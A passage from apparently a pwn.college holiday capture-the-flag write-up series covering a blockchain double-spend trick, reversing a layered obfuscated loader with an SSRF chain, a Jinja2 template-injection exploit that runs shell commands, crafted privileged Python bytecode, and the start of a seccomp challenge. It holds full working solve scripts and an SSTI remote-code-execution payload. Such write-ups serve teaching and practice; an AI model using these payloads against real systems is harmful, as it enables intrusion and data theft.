if SECRET_GIFT in letter["letter"]:
gift_value = FLAG_GIFT
To get the SECRET_GIFT value, we can write santa a letter in the form of secret index #<num>.
1
2
3
4
if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
index = int(match.group(1))
if 0 <= index < len(SECRET_GIFT):
gift_value = SECRET_GIFT[index]
The get_nice_balances function substracts 1 nice coin because the secret character is send back as a transaction.
1
2
3
4
5
6
7
if tx_type == "gift" and src == "santa":
balances[src] = balances.get(src, 0) + 1
balances[dst] = balances.get(dst, 0) - 1
elif tx_type == "transfer":
amount = tx.get("transfer", 0)
balances[src] = balances.get(src, 0) - amount
balances[dst] = balances.get(dst, 0) + amount
The challenge is that each secret costs and we can only earn 10 NiceCoin™s. If we have more than 10 this line blocks us.
1
2
if nice_counts[nice_person] > 10:
return jsonify({"error": "abuse of nice list detected"}), 400
Moreover Santa only reads letters from the blockchain which are older than 5 blocks. Other blocks will be ignored because REQUIRED_CONFIRMATION_DEPTH is 5.
1
2
3
4
5
6
7
# Collect letters Santa can trust (recent blocks are not yet sufficiently confirmed)
for block in chain[:-REQUIRED_CONFIRMATION_DEPTH]:
for tx in block["txs"]:
if tx["type"] == "letter" and tx["dst"] == "santa" and tx["letter"].startswith(LETTER_HEADER):
child = tx["src"]
letters.setdefault(child, {})
letters[child][tx["nonce"]] = tx
Approach
The solution to this problem is typical for a blockchain. Because we can compute blocks for the chain, we can simply don’t add the gift transactions to the blockchain. With that Santa will keep sending us gifts.
The last problem that could arise is that elfs will mine a coin while we are getting the secret. Fortunately, the 5 elves (jingle sparkle tinsel nog snowflake) each wait from 10 to 120 seconds between mining each coin. It is unlikely that one of them is pushing the transaction which will remove a coin from us right when Santa sent the first gift. After the second gift is send from Santa the elf algorithm will error out because it will generate a negative balance.
1
time.sleep(random.randint(10, 120))
Solving Script
The script takes about 1 minute to run, it first sends all the letters to Santa, then it extends the chain by 6 blocks (1 letter block and 5 conformation blocks). Now Santa will return the gift characters which we can collect, after getting all the characters we can send the secret and once again extend the chain. Finally we check the transaction pool for the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
import hashlib
import json
import requests
import time
import uuid
from pathlib import Path
from cryptography.hazmat.primitives import serialization
from pwn import *
REQUIRED_CONFIRMATION_DEPTH = 5
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
NORTH_POOLE = "http://localhost"
HACKER = "hacker"
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
context.log_level = "info"
key_path = Path("/challenge/keys") / HACKER / "key"
HACKER_KEY = serialization.load_ssh_private_key(key_path.read_bytes(), password=None)
def hash_block(block):
base_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
nonce = 0
while True:
block["nonce"] = nonce
nonce_str = f'"nonce":{nonce}'
block_str = base_str.replace('"nonce":0', nonce_str)
block_hash = hashlib.sha256(block_str.encode()).hexdigest()
if block_hash.startswith(DIFFICULTY_PREFIX):
return block
nonce += 1
def get_block(hash=None):
params = {"hash": hash} if hash else {}
resp = requests.get(f"{NORTH_POOLE}/block", params=params)
resp.raise_for_status()
data = resp.json()
return data["block"], data["hash"]
def get_txpool_filtered(parent_hash, exclude_nonces=None):
exclude_nonces = exclude_nonces or set()
resp = requests.get(f"{NORTH_POOLE}/txpool")
resp.raise_for_status()
txs = resp.json()["txs"]
mined_nonces = set()
current_hash = parent_hash
while current_hash:
blk_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
if blk_resp.status_code != 200:
break
blk = blk_resp.json()["block"]
mined_nonces.update(tx.get("nonce") for tx in blk.get("txs", []))
current_hash = blk.get("prev_hash")
fresh_txs = [tx for tx in txs if tx.get("nonce") not in mined_nonces and tx.get("nonce") not in exclude_nonces]
return fresh_txs, resp.json()["hash"]
def mine_block(nice_person=None, exclude=None):
""" Mines a block and excludes all tx's which could result in a invalid block """
parent_block,parent_hash = get_block()
txs, _ = get_txpool_filtered(parent_hash, exclude)
resp = requests.get(f"{NORTH_POOLE}/balances", params={"hash": parent_hash})
if resp.status_code == 200:
balances = resp.json().get("balances", {})
valid_txs = []
for tx in txs:
if tx.get("type") == "transfer":
if balances.get(tx.get("src"), 0) >= tx.get("transfer", 0):
valid_txs.append(tx)
else:
valid_txs.append(tx)
txs = valid_txs
block = {
"index": parent_block["index"] + 1,
"prev_hash": parent_hash,
"nonce": 0,
"txs": txs,
"nice": nice_person,
}
mined_block = hash_block(block)
resp = requests.post(f"{NORTH_POOLE}/block", json=mined_block)
if resp.status_code != 200:
raise RuntimeError(f"Block rejected: {resp.text}")
def send_letter(content, dst="santa", src=HACKER):
""" Send a letter to a person """
try:
tx_nonce = str(uuid.uuid4())
tx = {
"src": src,
"dst": dst,
"type": "letter",
"letter": f"{LETTER_HEADER}{content}",
"nonce": tx_nonce,
}
msg = json.dumps(tx, sort_keys=True, separators=(",", ":"))
digest = hashlib.sha256(msg.encode()).digest()
tx["sig"] = HACKER_KEY.sign(digest).hex()
resp = requests.post(f"{NORTH_POOLE}/tx", json=tx)
if resp.status_code == 200:
return tx_nonce
else:
raise RuntimeError(f"Letter rejected: {resp.text}")
except Exception as e:
log.error(f"Failed to send letter: {e}")
return None, None
def wait_for_santa_gifts(nonces, timeout=180, poll_interval=2):
nonce_dict = {key: None for key in nonces}
start_time = time.time()
def all_nonces_received():
return all(nonce_dict[nonce] is not None for nonce in nonces)
def process_txs(txs):
for tx in txs:
if tx.get("src") != "santa":
continue
for idx, nonce in enumerate(nonces):
if nonce_dict[nonce] is not None:
continue
if tx.get("nonce") == f"{nonce}-gift":
gift = tx.get("gift")
nonce_dict[nonce] = gift
log.info(f"Character at index {idx}: {gift}")
while time.time() - start_time < timeout:
try:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
txpool_resp.raise_for_status()
process_txs(txpool_resp.json().get("txs", []))
if all_nonces_received():
return "".join(nonce_dict[nonce] for nonce in nonces)
head_resp = requests.get(f"{NORTH_POOLE}/block")
head_resp.raise_for_status()
current_hash = head_resp.json().get("hash")
for _ in range(20):
if not current_hash:
break
resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
if resp.status_code != 200:
break
blk = resp.json().get("block", {})
process_txs(blk.get("txs", []))
if all_nonces_received():
return "".join(nonce_dict[nonce] for nonce in nonces)
current_hash = blk.get("prev_hash")
except Exception as e:
log.error(f"Failed to check Santa gift: {e}")
time.sleep(poll_interval)
log.error(f"No gift received after {timeout} seconds")
return None
def get_flag():
while True:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool").json()
txs = txpool_resp.get("txs", [])
count = 0
for tx in txs:
if "pwn.college" in str(tx):
log.success("===== FOUND FLAG =====")
log.success(tx["gift"])
exit()
time.sleep(0.1)
def get_exclusion_list():
exclude = set()
try:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
if txpool_resp.status_code == 200:
for tx in txpool_resp.json().get("txs", []):
if tx.get("type") == "gift" and tx.get("src") == "santa":
exclude.add(tx.get("nonce"))
log.debug(f"[EXCLUDE] Gift tx: {tx.get('nonce')[:8]}... (dst: {tx.get('dst')})")
except Exception as e:
log.warning(f"Could not scan txpool: {e}")
return exclude
def mine_n_blocks(n,exclude=None,nice_person=None):
i = 0
while i < n:
try:
mine_block(nice_person=None, exclude=exclude)
log.info(f"Extended block {i+1}/{n}")
i += 1
except RuntimeError as e:
log.info(f"Block rejected at {i+1}/{n}")
log.info("Refreshing exclusion list...")
exclude = get_exclusion_list()
return
def extract_secret_gift_chars():
nonces = []
start_time = time.time()
log.info("Scanning txpool for problematic transactions...")
exclude = get_exclusion_list()
for i in range(32):
letter_content = f"secret index #{i}"
nonce = send_letter(letter_content)
nonces.append(nonce)
log.info(f"Sent request for index {i}, nonce: {nonce}")
time.sleep(0.05)
log.info("Scanning txpool for problematic transactions...")
exclude = get_exclusion_list()
mine_n_blocks(5,exclude=exclude)
log.info(f"Waiting for Santa to process letter (needs {REQUIRED_CONFIRMATION_DEPTH} confirmations)...")
gifts = wait_for_santa_gifts(nonces, timeout=180)
if not gifts:
log.error(f"Timeout - no gift received")
log.success(f"Full gift string: '{gifts}'")
exclude.add(nonce)
exclude.add(f"{nonce}-gift")
nonce = send_letter(gifts)
log.info(f"Sent request for final flag, nonce: {nonce}")
mine_n_blocks(6,exclude=exclude)
char_elapsed = time.time() - start_time
log.info(f"Character extraction took {char_elapsed:.2f} seconds")
if __name__ == "__main__":
extract_secret_gift_chars()
get_flag()
Day 7 - Reversing/Encoding
The challenge on day 7 starts with the following description:
Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on
http://localhost/— but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.
You can find only one important file in the challenge directory.
Reversing the Code
The file is named turkey.py and contains a Flask server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, abort
import requests
import base64
import subprocess
PAYLOAD = 'SGRib2......'
app = Flask(__name__)
if __name__ == '__main__':
if PAYLOAD:
decoded = base64.b64decode(PAYLOAD)
reversed_bytes = decoded[::-1]
unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
subprocess.run(unpacked.decode(), shell=True)
app.run(host='0.0.0.0', port=80, debug=False)
The Flask server decodes the variable PAYLOAD using base64 and XOR and then executes it.
We can extract the payload manually using a simple Python script.
1
2
3
4
5
6
7
8
9
10
11
import base64
PAYLOAD = 'SGRib2....'
decoded = base64.b64decode(PAYLOAD)
reversed_bytes = decoded[::-1]
unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
with open("payload2","wb") as file:
file.write(unpacked)
The script creates a new network namespace named middleware. Next, there is a veth-host interface created in the host namespace to communicate to the middleware namespace. Furthermore, there are some commands executed to setup the network. Thereafter, iptables is used to stop any traffic which returns back to the host namespace. Using the ip netns exec middleware /usr/bin/cobol command, a JavaScript application is executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ip netns add middleware
ip link add veth-host type veth peer name veth-middleware
ip link set veth-middleware netns middleware
ip addr add 72.79.72.1/24 dev veth-host
ip link set veth-host up
ip netns exec middleware ip addr add 72.79.72.79/24 dev veth-middleware
ip netns exec middleware ip link set veth-middleware up
ip netns exec middleware ip route add default via 72.79.72.1
ip netns exec middleware ip link set lo up
iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT
echo "
...
" | ip netns exec middleware /usr/bin/cobol - &
The JS application starts another server on the IP 72.79.72.79 in the middleware namespace. The application can be used to fetch other services which may be not reached by the normal host namespace. Before the server is executed another base64 encoded payload is decoded and executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const http = require('http');
const url = require('url');
const { execSync } = require('child_process');
const payload = 'a3IicGd2....';
if (payload) {
const decoded = Buffer.from(payload, 'base64');
const unpacked = Buffer.from(decoded.map(byte => (byte - 2 + 256) % 256));
execSync(unpacked.toString(), { stdio: 'inherit' });
}
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
if (parsedUrl.pathname === '/fetch') {
const targetUrl = parsedUrl.query.url;
if (!targetUrl) {
res.writeHead(400, { 'Content-Type': 'text/html' });
res.end('<h1>Missing url parameter</h1>');
return;
}
try {
const response = await fetch(targetUrl);
const content = await response.text();
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(content);
} catch (error) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end(`<h1>Error fetching URL: ${error.message}</h1>`);
}
} else {
res.writeHead(404, { 'Content-Type': 'text/html' });
res.end('<h1>Not Found</h1>');
}
});
const PORT = process.env.PORT || 80;
const HOST = "72.79.72.79";
server.listen(PORT, HOST, () => {
console.log(`Server running on http://${HOST}:${PORT}`);
});
If we decode this in a simple node console as below we receive another collection of shell commands.
The commands are run in the middleware namespace and creates a new namespace named backend. This namespace is connected to the middleware namespace using veth-host. In the backend namespace a Ruby server is setup which returns the flag if we send hohoho-i-want-the-flag as the xmas parameter (The php is just a Ruby code executer).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ip netns add backend
ip link add veth-host type veth peer name veth-backend
ip link set veth-backend netns backend
ip addr add 88.77.65.1/24 dev veth-host
ip link set veth-host up
ip netns exec backend ip addr add 88.77.65.83/24 dev veth-backend
ip netns exec backend ip link set veth-backend up
ip netns exec backend ip route add default via 88.77.65.1
ip netns exec backend ip link set lo up
iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT
export RACK_ENV=production
echo "require 'sinatra'
set :environment, :production
set :bind, '88.77.65.83'
set :port, 80
get '/' do
\"<h1>Go away, you'll never find the flag</h1>\"
end
get '/flag' do
if params['xmas'] == 'hohoho-i-want-the-flag'
File.read('/flag')
else
\"<h1>that's not correct</h1>\"
end
end
" | ip netns exec backend /usr/bin/php - &
Challenge Issue
To solve this challenge we need to reach the backend server through namespaces. Fortunately, if we check if we can reach the middleware server and get a result we are greeted with a response. Even though there are iptables-rules executed, they do not apply because iptables doesn’t work in the container.
1
2
$ curl http://72.79.72.79/
<h1>Welcome to the middleware service. We fetch things!</h1>
Solution
Using that we can query the /fetch endpoint and use it to reach the final server which serves the flag.
1
2
$ curl http://72.79.72.79/fetch?url=http%3A%2F%2F88%2E77%2E65%2E83%2Fflag%3Fxmas%3Dhohoho%2Di%2Dwant%2Dthe%2Dflag
pwn.college{practice}
Day 8 - SSTI
On day 8, we start with the following description:
🔨⚙️🧵 Santa’s Workshop of Jingly Jinja Magic 🎁✨🛠️
Hidden between a tower of half-painted rocking horses and a drift of cinnamon-scented sawdust lies a cozy corner of Santa’s Workshop 🎄✨. A crooked little sign hangs above it, dusted with snowflakes and glitter: TINKER → BUILD → PLAY.
Here, elves shuffle about with scraps of blueprints—teddy bears waiting for their whispered secrets 🧸, wooden trains craving extra “choo” 🚂, and tin robots frozen mid-twirl 🤖✨. Each blueprint is just a fragment at first, patched with tiny gaps where holiday magic (and the occasional variable) gets poured in.
Once an elf has fussed over a design—nudging, scribbling, humming carols as they go—it’s fed into the clanky old assembler, a machine that wheezes peppermint steam and occasionally complains in compiler warnings ❄️💥. But when the gears settle and the lights blink green, out pops something wondrous:
A toy that runs.
Suddenly the workshop sparkles with noise—beeps, choos, secrets, giggles. Each creation takes its first breath of output, wide-eyed and ready to play 🎁💫.
It’s a tiny corner of the North Pole, but this is where Christmas cheer is written, compiled, and sent twinkling into the world.
In the challenge directory you can find the script workshop.py. The script is creating a Flask server.
The challenge provides template files for C code. You can create a project using a Jinja2 template. When created, we can edit the project script and render the contents using Jinja2. Additionally, you can compile and finally execute the project scripts. Even though the Flask server is run as root, the privileges are dropped when compiling and executing the binary/project script.
Code Analysis
The /tinker/<toy_id> API allows us to replace a number of characters in the project file. By replacing some chars with a payload like {{9*9}}, we can test for SSTI.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route("/tinker/<toy_id>", methods=["POST"])
def tinker(toy_id: str):
payload = request.get_json(force=True, silent=True) or {}
op = payload.get("op")
src = TINKERING_DIR / toy_hash(toy_id)
if not src.exists():
return jsonify({"status": "error", "error": "toy not found"}), 404
text = src.read_text()
if op == "replace":
idx = int(payload.get("index", 0))
length = int(payload.get("length", 0))
content = payload.get("content", "")
new_text = text[:idx] + content + text[idx + length :]
src.write_text(new_text)
return jsonify({"status": "tinkered"})
if op == "render":
ctx = payload.get("context", {})
rendered = render_template_string(text, **ctx)
src.write_text(rendered)
return jsonify({"status": "tinkered"})
return jsonify({"status": "error", "error": "bad op"}), 400
For simpler execution of payloads we can implement a short Python script. The script starts at the index 153 which is the beginning of the puts(". This way we can build a payload and print it imminently.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,html
BASE_URL = "http://localhost:80"
payload_ssti = "{{ 9*9 }}"
r = requests.post(f"{BASE_URL}/create", json={"template":"train.c.j2"})
toy_id = r.json()["toy_id"]; print(f"Created toy: {toy_id}")
payload = {"op":"replace","index":153,"content":payload_ssti,"length":0}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload)
payload_render = {"op":"render","context":{"cargo":""}}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload_render)
requests.post(f"{BASE_URL}/assemble/{toy_id}", json={})
play_payload = {"stdin": "optional input to the binary\n"}
r = requests.post(f"{BASE_URL}/play/{toy_id}", json=play_payload)
print(f"{html.unescape(r.json()["stdout"])}")
The payload successfully returns 81 as expected from the SSTI payload.
1
2
3
4
5
6
7
8
9
$ python3 test.py
Created toy: 9c6935d01403a289
81choo choo!
cargo:
line:
next station:
next stop: optional input to the binary
tickets punched: 10
....
At this point we can check for useful classes to execute commands. You can replace the payload with this payload.
1
payload_ssti = "{{ ''.__class__.__mro__[1].__subclasses__() }}"
When executing we get a huge number of classes.
1
2
3
$ python3 solver.py
Created toy: 516dcb9314211512
[<class 'type'>, <class 'async_generator'>,...
By simply searching for subprocess.Popen and then checking the index of it.
With this we can cat the flag file using subprocess and return the result.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,html
BASE_URL = "http://localhost:80"
payload_ssti = "{{ ''.__class__.__mro__[1].__subclasses__()[273]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}"
r = requests.post(f"{BASE_URL}/create", json={"template":"train.c.j2"})
toy_id = r.json()["toy_id"]; print(f"Created toy: {toy_id}")
payload = {"op":"replace","index":153,"content":payload_ssti,"length":0}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload)
payload_render = {"op":"render","context":{"cargo":""}}
requests.post(f"{BASE_URL}/tinker/{toy_id}", json=payload_render)
requests.post(f"{BASE_URL}/assemble/{toy_id}", json={})
play_payload = {"stdin": "optional input to the binary\n"}
r = requests.post(f"{BASE_URL}/play/{toy_id}", json=play_payload)
print(f"{html.unescape(r.json()["stdout"])}")
Executing the solve script yields the flag.
1
2
3
$ python3 solver.py
Created toy: b264d15da69ba9e9
b'pwn.college{practice}'choo choo!
Day 9 - Python Byte Code
This part of the series is about crafting Python byte code in a virtual machine with no simple utilities available.
The day 9 started with the a description explaining the “new” pypu.
This year, Santa decided you’ve been especially good and left you a shiny new Python Processing Unit (pypu) — a mysterious PCIe accelerator built to finally quiet all the elves who won’t stop grumbling that “Python is slow” 🐍💨. This festive silicon snack happily devours
.pycbytecode at hardware speed… but Santa forgot to include any userspace tools, drivers, or documentation for how to actually use it. 🎁 All you’ve got is a bare MMIO interface, a device that will execute whatever.pycyou can wrangle together, and the hope that you can coax this strange gift into revealing an extra gift. Time to poke, prod, reverse-engineer, and see what surprises your new holiday hardware is hiding under the tree. 🎄✨
There are several files inside the /challenge directory. The first important one is the run.sh file, it is used to start up a qemu machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/exec-suid -- /bin/bash -p
set -euo pipefail
PATH="/challenge/runtime/qemu/bin:$PATH"
qemu-system-x86_64 \
-machine q35 \
-cpu qemu64 \
-m 512M \
-nographic \
-no-reboot \
-kernel /challenge/runtime/bzImage \
-initrd /challenge/runtime/rootfs.cpio.gz \
-append "console=ttyS0 quiet panic=-1" \
-device pypu-pci \
-serial stdio \
-monitor none
The machine contains the compiled code from the src directory. We can execute compiled Python code. The interface for executing the Python code is pypu-pci and is a PCI device. The PCI device has the vendor id 0x1337 and the device id 0x1225. At the beginning the flag is read into state->flag. Additionally, some memory regions are set allow code to be inputted code, for stdout and for stderr.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void pypu_pci_realize(PCIDevice *pdev, Error **errp)
{
PypuPCIState *state = PYPU_PCI(pdev);
qemu_mutex_init(&state->py_mutex);
qemu_cond_init(&state->py_cond);
state->py_thread_alive = true;
state->work_gen = 0;
state->done_gen = 0;
g_autofree char *flag_file = NULL;
if (g_file_get_contents("/flag", &flag_file, NULL, NULL)) {
pstrcpy(state->flag, sizeof(state->flag), flag_file);
}
qemu_thread_create(&state->py_thread, "pypu-py", python_worker, state,
QEMU_THREAD_JOINABLE);
pci_config_set_vendor_id(pdev->config, 0x1337);
pci_config_set_device_id(pdev->config, 0x1225);
pci_config_set_class(pdev->config, PCI_CLASS_OTHERS);
memory_region_init_io(&state->mmio, OBJECT(pdev), &pypu_mmio_ops, state,
"pypu-mmio", 0x1000);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->mmio);
memory_region_init_io(&state->stdout_mmio, OBJECT(pdev), &pypu_stdout_ops, state,
"pypu-stdout", sizeof(state->stdout_capture));
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stdout_mmio);
memory_region_init_io(&state->stderr_mmio, OBJECT(pdev), &pypu_stderr_ops, state,
"pypu-stderr", sizeof(state->stderr_capture));
pci_register_bar(pdev, 2, PCI_BASE_ADDRESS_SPACE_MEMORY, &state->stderr_mmio);
}
We can trigger the execution of the Python code by writing to the memory section dedicated for this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void pypu_mmio_write(void *opaque, hwaddr addr, uint64_t val,
unsigned size)
{
PypuPCIState *state = opaque;
if (addr == 0x04 && size == 4) {
state->scratch = val;
} else if (addr == 0x0c && size == 4) {
state->greet_count++;
qemu_mutex_lock(&state->py_mutex);
state->work_gen++;
qemu_cond_signal(&state->py_cond);
while (state->done_gen != state->work_gen && state->py_thread_alive) {
qemu_cond_wait(&state->py_cond, &state->py_mutex);
}
qemu_mutex_unlock(&state->py_mutex);
}
}
We can check the PCI devices by running lspci.
1
2
~ # lspci
00:03.0 Class 00ff: 1337:1225
To check the memory addresses we can cat the resource file.
1
2
3
4
5
~ # cat /sys/bus/pci/devices/0000:00:03.0/resource
0x00000000febd5000 0x00000000febd5fff 0x0000000000040200
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd7000 0x00000000febd7fff 0x0000000000040200
...
The execute_python_code will execute the Python bytecode. It even prints the expected magic number which is specific to each Python function. Next, we need to get the PYPU_PRIVILEGED_HASH, fortunately the value is defined in the file pypu-privileged.h file, #define PYPU_PRIVILEGED_HASH 0xf0a0101a75bc9dd3ULL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static void execute_python_code(PypuPCIState *state, const uint8_t *pyc, uint32_t pyc_len)
{
debug_log("[pypu] executing python code from MMIO (%u bytes)\n", pyc_len);
for (uint32_t i = 0; i < pyc_len && i < 32; i++) {
debug_log("%s%02x", (i == 0 ? "[pypu] code bytes: " : " "), pyc[i]);
}
debug_log("%s\n", pyc_len > 0 ? "" : "[pypu] code bytes: <none>");
if (pyc_len < 16) {
debug_log("[pypu] abort: missing header (%u bytes)\n", pyc_len);
return;
}
PyGILState_STATE gil = PyGILState_Ensure();
uint32_t header_magic = load_le32(pyc);
uint32_t pyc_flags = load_le32(pyc + 4);
uint64_t pyc_hash = load_le64(pyc + 8);
unsigned long expected_magic = (unsigned long)PyImport_GetMagicNumber();
debug_log("[pypu] pyc header: magic=0x%08x expected=0x%08lx flags=0x%08x hash=0x%016" PRIx64 "\n",
header_magic, expected_magic, pyc_flags, pyc_hash);
if (header_magic != (uint32_t)expected_magic) {
debug_log("[pypu] abort: bad pyc magic\n");
PyGILState_Release(gil);
return;
}
bool privileged = pyc_hash == PYPU_PRIVILEGED_HASH;
if (privileged) {
debug_log("[pypu] pyc hash matches privileged blob (0x%016" PRIx64 ")\n",
PYPU_PRIVILEGED_HASH);
}
const uint8_t *code = pyc + 16;
Py_ssize_t code_len = (Py_ssize_t)pyc_len - 16;
PyObject *code_obj = PyMarshal_ReadObjectFromString((const char *)code, code_len);
if (!code_obj) {
PyErr_Print();
PyGILState_Release(gil);
return;
}
}
The next issue is that we do not have any useful tools for writing to memory. To solve this problem, we can use devmem, this command line tool, this allows us to edit memory. We can run the following code to make commands for the challenge solving code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import marshal
import struct
code = compile("import gifts; print(gifts.flag)", "<string>", "exec")
marshaled = marshal.dumps(code)
magic = struct.pack('<I', 0)
flags = struct.pack('<I', 0)
priv_hash = struct.pack('<Q', 0xf0a0101a75bc9dd3)
pyc_data = magic + flags + priv_hash + marshaled
mmio_base = 0x00000000febd5000
print(f"devmem 0x{mmio_base + 0x10:x} 32 0x{len(pyc_data):x}")
addr = mmio_base + 0x100
for b in pyc_data:
print(f"devmem 0x{addr:x} 8 0x{b:02x}")
addr += 1
print(f"devmem 0x{mmio_base + 0x0C:x} 32 0x1")
Before running the commands we need to add the following line to the /challenge/run.sh in debug mode, export PYPU_DEBUG=1. You can copy the commands into the qemu after that. This returns the expected value for the magic bytes 0x0a0d0df3.
1
2
3
4
[pypu] executing python code from MMIO (185 bytes)
[pypu] code bytes: 00 00 00 00 00 00 00 00 d3 9d bc 75 1a 10 a0 f0 e3 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00
[pypu] pyc header: magic=0x00000000 expected=0x0a0d0df3 flags=0x00000000 hash=0xf0a0101a75bc9dd3
[pypu] abort: bad pyc magic
This yields the last part of the script needed to solve the challenge.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import marshal
import struct
code = compile("import gifts; print(gifts.flag)", "<string>", "exec")
marshaled = marshal.dumps(code)
magic = struct.pack('<I', 0x0a0d0df3)
flags = struct.pack('<I', 0)
priv_hash = struct.pack('<Q', 0xf0a0101a75bc9dd3)
pyc_data = magic + flags + priv_hash + marshaled
mmio_base = 0x00000000febd5000
print(f"devmem 0x{mmio_base + 0x10:x} 32 0x{len(pyc_data):x}")
addr = mmio_base + 0x100
for b in pyc_data:
print(f"devmem 0x{addr:x} 8 0x{b:02x}")
addr += 1
print(f"devmem 0x{mmio_base + 0x0C:x} 32 0x1")
print("Some devmem commands to get the characters...")
stdout_base = 0xFEBD6000
for i in range(256): # adjust max length as needed
print(f"devmem 0x{stdout_base + i:x} 8")
Important: Execute the command creater using
python.3.13otherwise the byte codes don’t work in the virtual machine.
The result bytes are at the address range 0xfebd6000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~ # devmem 0xfebd6000 8
0x70
~ # devmem 0xfebd6001 8
0x77
~ # devmem 0xfebd6002 8
0x6E
~ # devmem 0xfebd6003 8
0x2E
~ # devmem 0xfebd6004 8
0x63
~ # devmem 0xfebd6005 8
0x6F
~ # devmem 0xfebd6006 8
0x6C
~ # devmem 0xfebd6007 8
0x6C
~ # devmem 0xfebd6008 8
0x65
~ # devmem 0xfebd6009 8
0x67
~ # devmem 0xfebd600a 8
0x65
~ # devmem 0xfebd600b 8
0x7B
Day 10 - Seccomp sendmsg
Tha challenge on day 10 is about another seccomp sandbox which needs to be bypassed to get the flag. The description of the challenge contains a conversation protocol between TOWER and SLEIGH.
The challenge establishes a seccomp sandbox which only allows openat,recvmsg, sendmsg and exit_group syscalls.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
Moreover, we can input compiled assembly code into the application. The compiled assembly code will be executed inside the sandbox.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
puts("💾 Loading incoming elf firmware packet...");
